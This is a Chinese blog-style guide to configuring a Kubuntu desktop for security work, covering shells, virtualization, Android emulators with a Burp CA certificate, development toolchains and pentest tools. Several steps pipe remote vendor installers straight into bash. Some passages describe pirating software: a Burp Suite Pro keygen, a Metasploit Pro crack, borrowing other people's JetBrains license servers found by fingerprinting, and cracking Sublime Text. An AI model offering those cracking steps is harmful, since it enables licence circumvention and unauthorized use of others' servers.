git clone https://gitlab.com/phoneybadger/pokemon-colorscripts.gitcd pokemon-colorscriptssudo ./install.sh# 测试是否正常工作pokemon-colorscripts -r --no-title导入我们的配置文件:
# 备份原有的配置文件(执行失败的话也没关系 说明没默认配置)mv $HOME/.config/fastfetch $HOME/.config/fastfetch.bak# 进入 .config 目录cd $HOME/.config# 下载并解压然后删除wget https://github.com/sqlsec/fastfetch/releases/download/v0.1/fastfetch-for-Linux.zipunzip fastfetch-for-Linux.zip && rm fastfetch-for-Linux.zip最终花里胡哨的 fastfetch 效果如下:
如果需要 root 用户也使用花里胡哨的 fastfetch 的话,可用使用软连接,链接 我们普通用户 home下的的对应文件件夹配置:
sudo ln -s $HOME/.config/fastfetch /root/.config/fastfetch为了每次打开 zsh 都有不一样的随即宝可梦出现,我们可以手动追加 zsh 配置:
echo "pokemon-colorscripts -r --no-title" >> ~/.zshrc本次使用的大名鼎鼎的 powerlevel10k 主题,首先将主题 git clone 到我们的主题目录下:
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k在 ~/.zshrc 中配置启用新的主题:
ZSH_THEME="powerlevel10k/powerlevel10k"重载 zsh 终端会自动进入 powerlevel10k 主题的配置向导:
zsh根据向导的提示回答 y 或者 n 即可,下面是向导问的几个问题:
# 这看起来像菱形吗?Does this look like a diamond (rotated square)?# 这看起来像一个锁吗?Does this look like a lock?# 这看起来像一个向上的箭头吗?Does this look like an upwards arrow?# 这些图标都正常显示放在 x 之间,没有重叠吗?Do all these icons fit between the crosses?问完问题后选择终端前面的提示样式,国光我这里肯定选择了最酷炫的 Rainbow 样式:
编码这块推荐使用更标准先进的 Unicode 编码:
其他的设置细节根据大家自己的喜好来就行,国光我就不一一列举了:
如果期间又不小心配置错误的话,可以运行:
p10k configure重新走一步配置向导。
配置完主题后重新加载 zsh 会发现有告警信息:
发现原来是我们这一步配置有问题:
我们手动编辑 .p10k.zsh 配置文件:

最终我们的命令行终端效果如下:
本章节主要是借助 ZeroTier 来进行穿透环境搭建,属于国光我的个人生产力搭配,网友们可以了解一下,不一定非要照抄作业。
首先我们需要借助 xubiaolin/docker-zerotier-planet: 一分钟私有部署zerotier-planet服务 (github.com) 项目来搭建自己的 ZeroTier 中转服务器,每个自己的私服都有自己对应的 planet 文件,我们使用不同的 planet 文件即可连接不同的 ZeroTier 服务。
首先我们本地需要安装好官方的 ZeroTier 客户端:
curl -s https://install.zerotier.com | sudo bash安装完成后,使用直接设置开机自启然后加入网络即可:
# 设置 zerotier 开机自启systemctl enable zerotier-one.service# 备份官方的 planet 文件sudo mv /var/lib/zerotier-one/planet /var/lib/zerotier-one/planet.bak# 下载替换你的 plantxxxxxxx 此处省略 xxxxxxxx# 启动 zerotier 服务systemctl start zerotier-one.service另一个客户端我们使用 Docker 版本的:
docker run --name zerotier-one --device=/dev/net/tun --net=host --cap-add=NET_ADMIN --cap-add=SYS_ADMIN -v /home/x-x/Documents/Tools/zerotier:/var/lib/zerotier-one --restart=always -d zerotier/zerotier其中 /home/x-x/Tools/zerotier/ 设置为你自己的本地文件夹。
因为两个 ZeroTier 的客户端端口会有冲突,必定只能运行 1 个,所以我们需要手动修改 Docker 的端口为其他端口:
vim /var/lib/zerotier-one/local.conf这里国光我修改为了 9333 端口:
设置完成后就可以同时使用 2 个 ZeroTier 的不同 planet 了 :
Kubuntu 默认只有 SSH 客户端,所有想要其他设备远程我们自己的话,还得安装 SSH 服务端:
# 安装 SSH Serversudo apt install openssh-server# SSH 服务开机自启sudo systemctl enable ssh.service QEMU 是 Linux 下原生的虚拟化方案,体验还是非常非常丝滑的,Ubuntu 安装的话也比较简单:
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients cinst bridge-utils virt-manager virt-viewer开机自启和启动 libvirt 服务:
sudo systemctl enable libvirtdsudo systemctl start libvirtd当前用户添加到 libvirt 和 kvm 组,以便不需要使用 root 权限进行管理:
sudo usermod -aG libvirt $(whoami)sudo usermod -aG kvm $(whoami)重启系统生效功能更改。
使用 virt-manager 打开虚拟系统管理器,图形化界面操作还是比较简单的 ,我们可以创建一个自己的 Windows 虚拟机。

手动添加一个 SATA CDROM 的设备类型,源路径指向我们的系统镜像:
然后引导菜单里面勾选我们刚刚添加的 CD 光盘镜像,再次开机即可直接安装系统了:

为了提高虚拟机的性能和使用体验,我们还需要安装 virtio 驱动(类似于 Vmware 的虚拟机增强工具)
官方的 virtio 下载地址为:https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/
我们选择最新版本的 virtio-win.iso 下载,然后挂载到虚拟机里面运行【virtio-win-guest-tools.exe】安装即可:

Ubuntu 使用官方自动安装脚本可以很方便的安装 Docker:
# 自动安装脚本curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun# 将当前用户添加到 docker 用户组里sudo groupadd dockersudo usermod -aG docker `whoami`# 重启生效reboot# 检验版本输出是否正常docker versionDocker 安装完成后那么开始准备安装 Docker Compose 了,首先去官方项目查看最新的稳定版为多少,然后手动下载最新版本 赋予执行权限即可:
# 下载我写这篇文章的最新版本 2.29.7sudo curl -L "https://github.com/docker/compose/releases/download/v2.29.7/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose# 赋予执行权限sudo chmod +x /usr/local/bin/docker-compose# 查看 Docker-compose 版本$ docker-compose versionDocker Compose version v2.29.7完整完成后配置一下 Docker 的开机自启:
sudo systemctl enable docker.servicesudo systemctl enable containerd.serviceDocker 其实挺简单的,国光我之前也做了一些笔记,比如:Docker温故知新,其实 Docker 这块更多的还得靠自己去实操,成长会更快!
Waydroid 使用 Linux 命名空间(user、pid、uts、net、mount、ipc)在容器中运行完整的 Android 系统,并在任何基于 GNU/Linux 的平台(arm、arm64、x86 x86_64)上提供 Android 应用程序。
# 导入 repo 源头、curl https://repo.waydro.id | sudo bash# 安装 waydroidsudo apt install waydroid -y默认点击下一步,在点击 Download 前建议 Clash 开启 TUN 模式下载安装:
默认显示的界面有点胖胖的,很不舒服,我们可以修改 hyprland 的配置文件来自定义启动界面大小:
waydroid prop set persist.waydroid.width 480waydroid prop set persist.waydroid.height 900重启 waydroid 生效:
waydroid session stop如果要移动窗口,使用 Super + 鼠标来移动。
这个模拟器虽然很丝滑,但是默认情况下是没法跑 ARM APK 的,而国内很少有原生的 x86 APP,所以还是有必要安装一下 ARM 相关的转译的依赖的。
# 下载拷贝项目git clone https://github.com/casualsnek/waydroid_scriptcd waydroid_script# 使用 3.8.20 的 pyenv 虚拟环境pyenv local 3.8.20# 更新一下最新的 pippython -m pip install --upgrade pip -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple # 安装脚本相关的依赖python -m pip install -r requirements.txt -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple运行脚本:
sudo -ipython main.py命令行图形化界面我的选项供大家参考:
这样就可以正常打开我们常用的 APP 了:
# 当前会话关机waydroid session stop# 重启 waydroid 服务sudo systemctl restart waydroid-container.service # 安装 adb 开发工具apt install adb# 安装 apk 包waydroid app install /xxx/xxx/xx.apk# adb 使用 IP 连接 (关于本机查看)adb connect 192.168.x.x:5555手动安装 BP 证书:
# 对 BP 证书进行转换openssl x509 -inform DER -in cacert.der -out cacert.pem# 计算 BP 证书 hashcert_hash=$(openssl x509 -subject_hash_old -in cacert.pem | head -1)# 创建证书文件夹sudo mkdir -p /var/lib/waydroid/overlay/system/etc/security/cacerts/# 导入证书sudo cp cacert.pem /var/lib/waydroid/overlay/system/etc/security/cacerts/${cert_hash}.0或者借助 waydroid_script 项目,直接导入证书也可以:
sudo python3 main.py install mitm --ca-cert cacert.pem接着手动将模拟器设置本地的代理:
adb shell settings put global http_proxy "ip:port" 如果取消代理则使用下面命令:
adb shell settings delete global global_http_proxy_hostadb shell settings delete global global_http_proxy_portadb shell settings delete global http_proxy这样就可以正常抓包测试了。
Genymotion 下载安装很简单,直接官网下载对应的安装包即可(默认安装在当前目录,安装前提前准备好目录):
chmod +x genymotion-3.7.1-linux_x64.bin ./genymotion-3.7.1-linux_x64.bin 记得注册一下对应的账号,虽然是免费版本的:
表面上不支持开启 root 权限:
实际上手动进 adb 发现还是可以直接切换到 root 用户的:
这个模拟器虽然很丝滑,但是默认情况下是没法跑 ARM APK 的,而国内很少有原生的 x86 APP,所以还是有必要安装一下 ARM 相关的转译的依赖的。
本次转译借助:https://github.com/niizam/Genymotion_A11_libhoudini 项目来实现,下面是一些操作细节:
打开 Android 11 模拟器,下面直接在命令行下操作
# 进入 adb 切换 root 用户,将系统根目录挂载为可读写adb shellsumount -o rw,remount /# 写入内容echo 'ro.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.product.cpu.abilist64=x86_64,arm64-v8aro.vendor.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.vendor.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.vendor.product.cpu.abilist64=x86_64,arm64-v8aro.odm.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.odm.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.odm.product.cpu.abilist64=x86_64,arm64-v8aro.dalvik.vm.native.bridge=libhoudini.soro.enable.native.bridge.exec=1ro.enable.native.bridge.exec64=1ro.dalvik.vm.isa.arm=x86ro.dalvik.vm.isa.arm64=x86_64ro.zygote=zygote64_32' | tee -a /system/build.prop >> /system/vendor/build.prop从官方的 Release 页面下载 system.zip,直接拖入到模拟器中,根据提示直接确认刷入:
刷入完成后直接重启模拟器即可。
这样就可以正常打开我们常用的 APP 了:
如果要使用 Github 协作项目的话,那么 GitHub 会根据我们本地的 Git 配置去箱显示对应的 commit 记录的头像:
# 配置邮箱 ➜ git config --global user.email "[email protected]"# 配置用户名➜ git config --global user.name "国光"下图中间两个 commit 记录没有头像的原因就是没有配置上述邮箱的问题造成的:
无论是 Oracle JDK 还是 Linux 自带的 OpenJDK,我们都可以先自己安装一遍,多多益善。有了 jenv 我们全部都可以灵活的切换。
经典的 JDK8 肯定是要安装一下的:
# 解压到/usr/lib/目录下sudo tar -zxvf jdk-8u411-linux-x64.tar.gz -C /usr/lib/# 编辑/etc/profile 配置文件sudo vim /etc/profile末尾添加如下内容:
JAVA_HOME=/usr/lib/jdk1.8.0_411PATH=$JAVA_HOME/bin:$PATHCLASSPATH=$JAVA_HOME/jre/lib/ext:$JAVA_HOME/lib/tools.jarexport PATH JAVA_HOME CLASSPATH配置完成后重新加载一下配置文件生效:
# 重新载入配置文件source /etc/profile# 验证是否安装成功java -version# 官网下载 deb 包直接安装sudo gdebi jdk-17_linux-x64_bin.deb# 默认安装的路径为/usr/lib/jvm/jdk-17.0.12-oracle-x64/# 官网下载 deb 包直接安装sudo gdebi jdk-21_linux-x64_bin.deb# 默认安装的路径为/usr/lib/jvm/jdk-21.0.4-oracle-x64/# 官网下载 deb 包直接安装sudo gdebi jdk-23_linux-x64_bin.deb# 默认安装的路径为/usr/lib/jvm/jdk-23-oracle-x64/# 路径为:/usr/lib/jvm/java-8-openjdk-amd64/sudo apt install openjdk-8-jdk # 路径为:/usr/lib/jvm/java-11-openjdk-amd64/sudo apt install openjdk-11-jdk # 路径为:/usr/lib/jvm/java-17-openjdk-amd64/sudo apt install openjdk-17-jdk # 路径为:/usr/lib/jvm/java-21-openjdk-amd64/sudo apt install openjdk-21-jdk 虽然我们可以使用系统自带的:
update-alternatives --config java简单高效地切换系统范围内的默认 Java 版本,但是不支持项目目录级别的 Java 版本管理:

这个时候我们可以考虑更加灵活的 jenv 了,可以在全局、用户级别以及项目级别管理和切换 Java 版本。
安装 jenv 不算复杂:
# 克隆项目git clone https://github.com/jenv/jenv.git ~/.jenv# 手动追加 zshrc 配置文件echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.zshrcecho 'eval "$(jenv init -)"' >> ~/.zshrc下面是基本的用法:
# 查看当前的 Java 版本jenv version# 手动添加本地的 Java Home 路径jenv add /usr/lib/jdk1.8.0_411/jenv add /usr/lib/jvm/jdk-17.0.12-oracle-x64/jenv add /usr/lib/jvm/jdk-21.0.4-oracle-x64/jenv add /usr/lib/jvm/jdk-23-oracle-x64/jenv add /usr/lib/jvm/java-8-openjdk-amd64/jenv add /usr/lib/jvm/java-11-openjdk-amd64/jenv add /usr/lib/jvm/java-17-openjdk-amd64/jenv add /usr/lib/jvm/java-21-openjdk-amd64/# 列出目前 jenv 所有可切换管理的版本jenv versions#global 全局设置 一般不建议改变全局设置➜ jenv global <java 版本># shell 会话设置 只影响当前的shell会话➜ jenv shell <java 版本># 取消 shell 会话的设置➜ jenv shell --unset# local 本地设置 只影响所在文件夹➜ jenv local <java 版本>Cargo 是 Rust 包管理器。Cargo 会下载 Rust 软件包的依赖项,编译你的包,制作可分发的包,并将它们上传到 crates.io
Ubuntu 上安装也比较简单:
curl https://sh.rustup.rs -sSf | sh# 搭建 redis 服务器docker run --name redis-server -p 6379:6379 -d redis:7.2# 安装 redis 客户端sudo apt install redis-tools主要是利用 pyenv 项目来管理我们的 Python 版本,项目地址为:https://github.com/pyenv/pyenv
具体用法大家自己去看官方文档,我这里只简单记录一点点:
# 安装 pyenvcurl https://pyenv.run | bash手动编辑 .zshrc 配置文件,末尾追加:
export PYENV_ROOT="$HOME/.pyenv"[[ -d $PYENV_ROOT/bin ]] && export PATH="$PYENV_ROOT/bin:$PATH"eval "$(pyenv init -)"简单的 pyenv 用法:
# 查看已经安装的Python版本➜ pyenv versions# 查看当前的 Python 版本➜ pyenv version# 查看可安装的版本➜ pyenv install -l# 安装与卸载 pypy3.8-7.3.11➜ pyenv install pypy3.8-7.3.11➜ pyenv uninstall pypy3.8-7.3.11版本切换确实很方便,所安装的版本都在 ~/.pyenv/versions 目录下:
# global 全局设置 一般不建议改变全局设置➜ pyenv global <python版本># shell 会话设置 只影响当前的shell会话➜ pyenv shell <python版本># 取消 shell 会话的设置➜ pyenv shell --unset# local 本地设置 只影响所在文件夹➜ pyenv local <python版本>pyenv 的 global、local、shell 的优先级关系是:shell > local > global
如果 pyenv 安装常见的 Python 版本出现告警的话,手动安装一下常见的依赖:
sudo apt install -y \ build-essential \ libbz2-dev \ libssl-dev \ libreadline-dev \ libsqlite3-dev \ zlib1g-dev \ libncurses5-dev \ libncursesw5-dev \ libffi-dev \ liblzma-dev \ tk-dev \ uuid-dev \ libgdbm-dev \ libgdbm-compat-dev如果需要 root 用户也使用 pyenv 的话,可用使用软连接,链接 我们普通用户 home下的的 .pyenv 文件夹配置:
sudo ln -s $HOME/.pyenv /root/.pyenv国光我 Nodejs 用的不多,主要就用来跑跑 Hexo 博客和使用 Gitbook 来写点知识点,又因为 Node.js 版本也比较凌乱,所以这里主要是通过 nvm 来进行配置管理。
# 安装 nvm➜ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash# 将下面的配置编辑追加到 .zshrc 配置中(如果有的话 不用重复添加)export NVM_DIR="$HOME/.nvm"[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"# 查看版本信息➜ zsh➜ nvm --version0.40.3# 查看当前 node 的版本➜ nvm version # 安装最新稳定版 node➜ nvm install stable# 列出所有远程服务器的版本➜ nvm ls-remote# 安装指定版本➜ nvm install v18.20.4➜ nvm install <version># 列出所有已安装的版本➜ nvm ls# 卸载指定的版本➜ nvm uninstall <version># 切换使用指定的版本node➜ nvm use <version># 显示当前的版本➜ nvm current为了不干扰我们的宿主机环境,建议使用 Docker 来运行 MySQL 服务器:
docker run --name mysql -e MYSQL_ROOT_PASSWORD=P@ssw0rd -d -p 3306:3306 mysql:8.0.39-debian安装 mysql 客户端:
sudo apt install mysql-client快速简约强大的博客框架:
# 安装 hexonpm install hexo-cli -g# Hexo 基础命令➜ hexo clean # 清除缓存➜ hexo g # 生成静态文件➜ hexo s # 启动 Hexo 服务MkDocs 是有一个优雅的写文档神器,使用 Python 安装很方便:
# 安装 mkdocs➜ pip install mkdocs# 安装 material 主题➜ pip install mkdocs-materialJetBrains 系列之间官网下载专业旗舰版的安装就行了:
# 给 pycharm 创建快捷方式sudo ln -s /home/x-x/Documents/Softs/pycharm-2024.2.3/bin/pycharm /usr/local/bin/pycharm# 给 idea 创建快捷方式sudo ln -s /home/x-x/Documents/Softs/idea-IU-242.23339.11/bin/idea /usr/local/bin/idea对应的我们自己创建好菜单应用程序图标:

作为一个安全从业者,其实根本不需要找网上的盗版破解资源,我们直接利用正版服务器的指纹,即可找到网上很多的正版服务器:

直接激活就好了:
因为时间和精力有限,这部分只列举一些典型的安全工具,后面大家可以在工作和实战中逐步完善打造自己的安全系统。
# 安装 nmap 与 ncatsudo apt install nmap ncat# 安装扫描速度更快的 masscansudo apt install masscan# 使用 ARP 协议来发现本地网络上的 IPv4 主机并指纹识别sudo apt install arp-scan➜ arp-scan --localnetInterface: en0, type: EN10MB, MAC: c8:89:f3:b3:24:1d, IPv4: 10.1.1.180Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)10.1.1.100:0c:29:7c:19:2fVMware, Inc.10.1.1.10a0:36:9f:89:ad:30Intel Corporate10.1.1.1100:0c:29:b1:fa:11VMware, Inc.10.1.1.10000:11:32:fa:6e:7cSynology Incorporated10.1.1.218a8:a1:59:9f:57:aaASRock Incorporation10.1.1.128ec:4d:3e:86:cb:2eBeijing Xiaomi Mobile Software Co., Ltd10.1.1.19978:11:dc:7d:d5:9aXIAOMI Electronics,CO.,LTD# go 编写的快速高效的端口扫描工具➜ brew install naabu# sqlmap 足矣sudo apt install sqlmap# dirsearch 足矣sudo apt install dirsearch发现直接运行会报错:
➜ dirsearch /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflictURL target is missing, try using -u <url>这是因为和 Ubuntu 自带的 Python 冲突了,不要慌,我们有 pyenv 之间全局替换一下 Python 版本即可:
pyenv global 3.8.8# binwalk CTF MISC 神器sudo apt install binwalk# adb 安装sudo apt install android-platform-tools-base # 密码破解神器sudo apt install hashcat# 经典老牌的 UNIX 密码破解工具sudo apt install john# WiFi 无线安全必备sudo apt install aircrack-ng# wireshark 蓝队溯源必备sudo apt install wiresharkWireshark 同样在 Wayland 协议下使用 KDE 自带的全局菜单插件的话,菜单也不正常显示,我们让其手动工作在 x11 模式下,添加如下环境变量:
QT_QPA_PLATFORM=xcb GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx这样 Wireshark 即可正常工作了。
Audacity 是经典的音频分析软件,使用系统自带的 Discover 商店即可安装,如果安装后打不开的话,不妨切换来源再试试看:

成功运行的截图证明:

星火商店可以直接安装 ARCHPR 经典的压缩包破解工具:
目前在 Wine 环境下工作良好:
JADX 可以很方便的分析 Jar 和 Android APK,安装好 Java 即可直接打开:

我们来手动创建一个 JADX 的快捷方式,方便下次直接打开:
Yakit 确实也是国产里面比较不错安全软件,值得一试。Linux 安装也比较简单,直接 Release 下载封装好的 AppImage 即可。
目前在 Linux 上工作良好:
Goby 也是一个不错的国产扫描器,Linux 下工作也很丝滑:

官方的脚本安装即可:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall首次运行需要初始化一下:
➜ msfconsole ** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started.Would you like to use and setup a new database (recommended)? y
好像国内大家玩 Metasploit Pro 的不多,国光打包相关的资源大家自取。安装完成后手动再运行一些 Creak 里面的破解脚本:
因为这个 Pro 启动有点慢,所以每次开机后得确保相关服务都正常运行:
sudo systemctl list-units --type=service --all|grep metasploit
然后浏览器访问:
https://127.0.0.1:3790/首次使用设置一下用户信息,因为有点复杂,大家一定要记好了:

相当于是一个 MSF 图形化界面,官方配备了一些自动化扫描功能:
当然 Metasploit Pro 也是自带 msfconsole 的,对比一下,确实多了不少辅助测试模块:
首先在 BP 官网下载最新的 Pro 安装包:
chmod +x burpsuite_pro_linux_v2024_8_1.sh./burpsuite_pro_linux_v2024_8_1.sh全部默认回车安装下去就行:
如果是带界面版本的话,可以先全部默认路径安装:
下载最新版本的注册机,拷贝到 BP 的安装目录下:
mv BurpLoaderKeygen_v1.17.jar ~/BurpSuitePro直接运行注册机:
~/BurpSuitePro/jre/bin/java -jar ~/BurpSuitePro/BurpLoaderKeygen_v1.17.jar点击Run,输入许可证然后选择手动激活即可:
为了日后方便使用,直接修改~/BurpSuitePro/BurpSuitePro.vmoptions, 增加以下参数:
--add-opens=java.base/java.lang=ALL-UNNAMED--add-opens=java.base/java.lang=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED-javaagent:BurpLoaderKeygen_v1.17.jar-noverifyDiscover 是 KDE Plasma 桌面环境的图形化软件管理工具,支持多种软件包格式和源,包括 Snap 包。首次使用建议也顺便安装一下 Flatpak 软件包的后端程序,这样后续我们可以使用 Discove 搜索、安装和管理来自 Flatpak 软件源(如 Flathub)的应用程序。
首次使用 Discover 安装一些 snap 等一些资源软件可能存在汉字乱码的问题:

部分应用重启一下即可解决乱码问题了,少数应用还可能存在汉字乱码,所有整体 KDE 自带的 Discover 软件中心确实不太适合国人使用。
国内大力推广普及信创系统,所有我们也可以白嫖麒麟系统他们打包好的常用软件,直接下载对应的 deb 包安装即可。
下载资源的地址:https://software.openkylin.top/openkylin/yangtze/pool/all/
本方法是评论区网友 like 分享的:
星火应用商店是国内打造的,专为 Linux 用户设计的应用商店,旨在解决 Linux 生态下应用分散、难以获取的问题。
官网地址:https://www.spark-app.store/
安装方法,官方项目的 release 下载最新的 deb 包安装即可:
sudo gdebi spark-store_4.3.0-fix5.1_amd64.deb
| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| PCManFM-Qt File Manager | Discover 商店 | 更简约一点的文件管理器 |
| Files | Discover 商店 | 另一款极简的文image-20241011163009383件管理器 |
| Piper | Discover 商店 | 鼠标侧建自定义 |
| Nautilus scripts manager | Discover 商店 | GNOME 下默认的文件管理器 |
| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| Motrix | 星火商店 | 好用的多线程下载工具 |
| 迅雷 | 麒麟资源 | 极简版的迅雷下载工具 |
| 阿里云盘 | 星火商店 | Wine 环境下工作良好 |
| 百度网盘 | 星火商店 | 垃圾百度云官方居然有 Linux 客户端 |
| 天翼云盘 | 星火商店 | 三线网盘居然也有 Linux 客户端 |
| 夸克网盘 | 星火商店 | 目前体验还算不错的国产网盘。 |
| 蓝奏云盘 | 星火商店 | 好像不怎么盈利,感觉随时可能跑路倒闭 |
| 浏览器名称 | 下载安装方式 | 说明 |
|---|---|---|
| Chromium | 星火商店 | 开源版本的 Chrome 浏览器 |
| Google Chrome | 星火商店 | 浏览器里永远的第一梯队 |
| Microsoft Edge | 星火商店 | Edge 浏览器近几年发展的也不错 |
| Vivaldi | 星火商店 | 挺个性的基于 Chromium 内核的浏览器 |
| Yadex Browser | 官网下载 | 俄罗斯那边的浏览器,也是基于 Chromium 内核 |
| 深度浏览器 | 星火商店 | 基于玲珑应用反向打包的深度浏览器 |
| Tor 浏览器 | 星火商店 | 关注暗网威胁情报必备 |
自带的 FireFox 火狐浏览器在 KDE 的 Wayland 模式下工作很完美,支持双指捏合缩放也支持中文输入法,但是 Chrome 和 Edge 还是需要我们配置一下的。
自带的 Firefox 和我们的主题外观样式格格不入,所以需要我们来优化定制一下外观:
git clone https://github.com/vinceliuice/WhiteSur-firefox-theme.gitcd WhiteSur-firefox-theme./install.sh
cat /usr/share/applications/google-chrome.desktop|grep Exec Exec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/google-chrome-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imecat /usr/share/applications/chromium-linux.desktop |grep ExecExec=/usr/bin/chromium-linux --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %Ucat /usr/share/applications/microsoft-edge.desktop| grep Exec Exec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/microsoft-edge-stable --inprivate --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imecat /usr/share/applications/yandex-browser.desktop| grep Exec Exec=/usr/bin/yandex-browser-beta --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/yandex-browser-beta --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/yandex-browser-beta --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imecat /usr/share/applications/vivaldi-stable.desktop| grep Exec Exec=/usr/bin/vivaldi-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/vivaldi-stable --new-window --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/vivaldi-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| 官网下载 | 腾讯 QQ 的 Linux 版本做的真不错 | |
| 微信 | 星火商店 | 腾讯微信现在也开始有 Linux 版本了 |
| 飞书 | 星火商店 | 字节出品必属精品,Wayland 协议下工作很棒 |
| 钉钉 | 星火商店 | 不得不说,钉钉的市场占有率也挺高的 |
| 腾讯会议 | 星火商店 | 办公软件,可以不用,但不能没有 |
| Telegram | Discover 商店 | 暗网威胁情报监控必备 |
如果你的屏幕分辨率很高的话,那么这个 Linux 微信的界面就有一点点小了,我们需要手动添加节目缩放变量来优化使用体验,下面表示应用界面缩放 1.5 倍:
QT_SCALE_FACTOR=1.5而且发现 Fcitx5 的中文输入也不正常,所以需要我们手动编辑一下微信的启动图标属性:
sudo vim ~/.local/share/applications/store.spark-app.wechat-linux-spark.desktop修改后的内容如下:
Exec=env QT_SCALE_FACTOR=1.5 GTK_IM_MODULE="fcitx" QT_IM_MODULE="fcitx" SDL_IM_MODULE="fcitx" /opt/apps/store.spark-app.wechat-linux-spark/files/launch.sh这样我们的微信使用体验基本上和 Windows 下是没有什么区别的了。
Wayland 协议下腾讯会议居然不让打开,直接弹窗告警了:

编辑腾讯会议的启动脚本:
sudo vim /opt/wemeet/wemeetapp.sh手动找到判断 wayland 协议的判断语句,在其上面添加如下内容来让应用强制走 X11 显示协议:
export XDG_SESSION_TYPE=x11export QT_QPA_PLATFORM=xcbunset WAYLAND_DISPLAY
同理,高分辨率屏幕下的腾讯会议也比较小且不支持中文输入,我们手动调整一下缩放比例,添加如下的环境变量:
QT_SCALE_FACTOR=1.5 GTK_IM_MODULE=fcitx QT_IM_MODULE=fcitx SDL_IM_MODULE=fcitx
但是由于 X11 工作环境下 Wayland 安全性问题,目前腾讯视频是没法读取共享屏幕的,所以真的要用腾讯视频分享屏幕的话,还是老老实实使用虚拟机,或者尝试用用非常强大的飞书吧!
| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| Typora | 官网下载 | Typora 是国光我用来写 MarkDown 的主力 |
| WPS Office | 星火商店 | WPS Office Linux 下挺干净流畅的 |
前面已经提到过了,Typora 在 Wayland 下中文输入也有问题,我们手动添加下面的环境变量即可:
GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitxWPS Office 提示缺失了一些字体:

字体我们可以去这个项目下载:https://github.com/dv-anomaly/ttf-wps-fonts 然后找到这些 ttf 字体,手动右键点击【安装】即可。
同样 WPS 中文输入也有问题,我们手动添加下面的环境变量即可:
GTK_IM_MODULE=fcitx QT_IM_MODULE=fcitx SDL_IM_MODULE=fcitx
| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| Planify | Flathub | 简约高颜值的 todolist |
| Super Productivity | 官方项目 | 类似于 Windows To Do |
| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| Visual Studio Code | 官网下载 | 可能是目前最强的代码编辑器了 |
| Sublime Text | 官网下载 | 轻量化的代码编辑器 |
| PyCharm | 官网下载 | 这才是真正的编译器 |
| IDEA | 官网下载 | 这才是真正的编译器 |
| Navicat Premium Lite | 官网下载 | Nvicat 官方出的免费版本的 足够用了 |
| Tiny RDM | 官网下载 | 开源高颜值的 Redis 客户端 |
Visual Studio Code 中文输入有问题,我们手动添加下面的环境变量即可:
GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx默认的 Sublime Text 4180 是试用版本,我们可以简单的来进行破解一下。定位到可执行文件的路径为:
